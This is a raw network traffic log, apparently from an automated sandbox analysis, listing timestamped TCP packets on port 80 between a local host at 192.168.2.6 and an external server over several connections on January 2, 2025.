Jan 2, 2025 19:14:17.524760008 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.524800062 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524806023 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524811983 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524816990 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524822950 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524827957 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524835110 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524840117 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524871111 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.524943113 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524956942 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524962902 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524975061 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525007963 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525029898 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.525029898 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.525058031 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525110006 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525124073 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.525202990 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525208950 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525214911 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525221109 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525249004 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525254965 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525262117 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525274038 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525305986 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.525408983 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525414944 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525420904 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525432110 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525438070 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525444031 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525449991 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525454044 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.525454044 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.525470018 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.525557041 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.525702000 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525708914 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525717020 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525722027 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525727987 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525733948 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.525779963 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.531341076 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.531347990 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.531363010 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.531375885 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.531380892 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.531395912 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.531399965 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.531410933 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.531416893 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.531425953 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.531446934 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.531492949 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.531508923 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.531547070 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.531553984 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.531560898 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.531575918 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.531585932 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.531594038 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.531599998 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.531605005 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.531649113 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.531687975 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.531687975 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.537101984 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.537108898 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.537116051 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.537122011 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.537168980 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.537174940 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.537182093 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.537198067 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.537231922 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.537239075 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.537246943 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.537251949 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.537264109 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.537309885 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.537316084 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.537322044 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.537353039 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.537357092 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.537364006 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.537372112 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.537412882 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.537441969 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.537448883 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.537456989 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.537475109 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.537494898 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.537499905 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.537519932 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.537519932 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.538280964 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538286924 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538292885 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538299084 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538305044 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538316011 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538321018 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538332939 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538360119 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.538395882 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.538616896 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538623095 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538629055 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538639069 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538645983 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538650036 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538655043 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.538686037 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.538712978 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538718939 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538723946 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538736105 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538743019 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538748980 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.538754940 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538759947 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538767099 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538784027 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.538799047 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538805008 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538832903 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.538887024 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538892984 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538898945 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538903952 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538909912 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538919926 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.538947105 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.538970947 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.538970947 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.539014101 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.539037943 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.539043903 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.539050102 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.539078951 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.539084911 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.539089918 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.539102077 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.539127111 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.539140940 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.539146900 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.539151907 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.539172888 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.539264917 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.539460897 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.539498091 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.539556980 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.539562941 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.539575100 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.539577961 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.539594889 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.539637089 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.539644957 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.539648056 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.539648056 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.539828062 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.540199995 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.540205956 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.540211916 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.540251017 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.540256977 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.540262938 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.540270090 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.540283918 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.540288925 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.540290117 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.540290117 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.540431976 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.540440083 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.540446997 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.540457964 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.540477991 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.540492058 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.540505886 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.540513992 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.540576935 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.540625095 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.551168919 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551177979 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551255941 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551263094 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551269054 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551285028 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551294088 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551306963 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551317930 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551323891 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551398039 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.551398993 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.551482916 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551489115 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551496029 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551517963 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.551615953 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551621914 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551629066 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551640034 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551645994 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551651001 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551654100 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.551657915 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551664114 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551675081 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551680088 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551686049 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551687002 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.551711082 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551712990 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.551716089 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551723957 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551729918 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551747084 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.551748991 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551760912 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.551779985 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551809072 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.551836967 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551842928 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551847935 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551896095 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551902056 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551908016 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.551932096 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.551944971 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552020073 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.552050114 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552057028 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552062035 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552073002 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552079916 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552083969 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.552090883 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552095890 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552102089 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552187920 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.552258015 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552263975 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552270889 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552295923 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.552315950 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552321911 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552328110 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552340984 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.552371979 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552377939 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552383900 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552395105 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552402020 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552408934 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.552464962 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.552464962 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.552587986 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552653074 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552659035 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552664995 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552670956 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552678108 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552683115 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552690983 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.552743912 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.552743912 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.552776098 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552792072 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552798986 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552804947 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552812099 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552818060 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552819014 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.552831888 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552841902 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.552931070 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.552942038 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552948952 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552961111 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552973032 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552978992 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552990913 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552998066 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.552999973 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.553004026 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553009987 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553015947 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553020954 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553025961 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.553026915 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553034067 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553040028 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553065062 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.553066015 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.553442001 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553448915 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553453922 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553459883 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553464890 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553471088 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553477049 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553483009 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553478956 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.553488970 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553493977 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553498030 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553503990 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553504944 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.553518057 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553519964 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.553524017 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553529978 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553534031 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553539991 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553545952 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553595066 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.553595066 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.553613901 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553620100 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553625107 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553628922 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553641081 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553644896 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553646088 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.553658962 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553666115 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553670883 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.553673029 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553678989 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553684950 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553689957 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553695917 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553704977 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553709984 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553713083 CET	49727	80	192.168.2.6	147.45.44.131
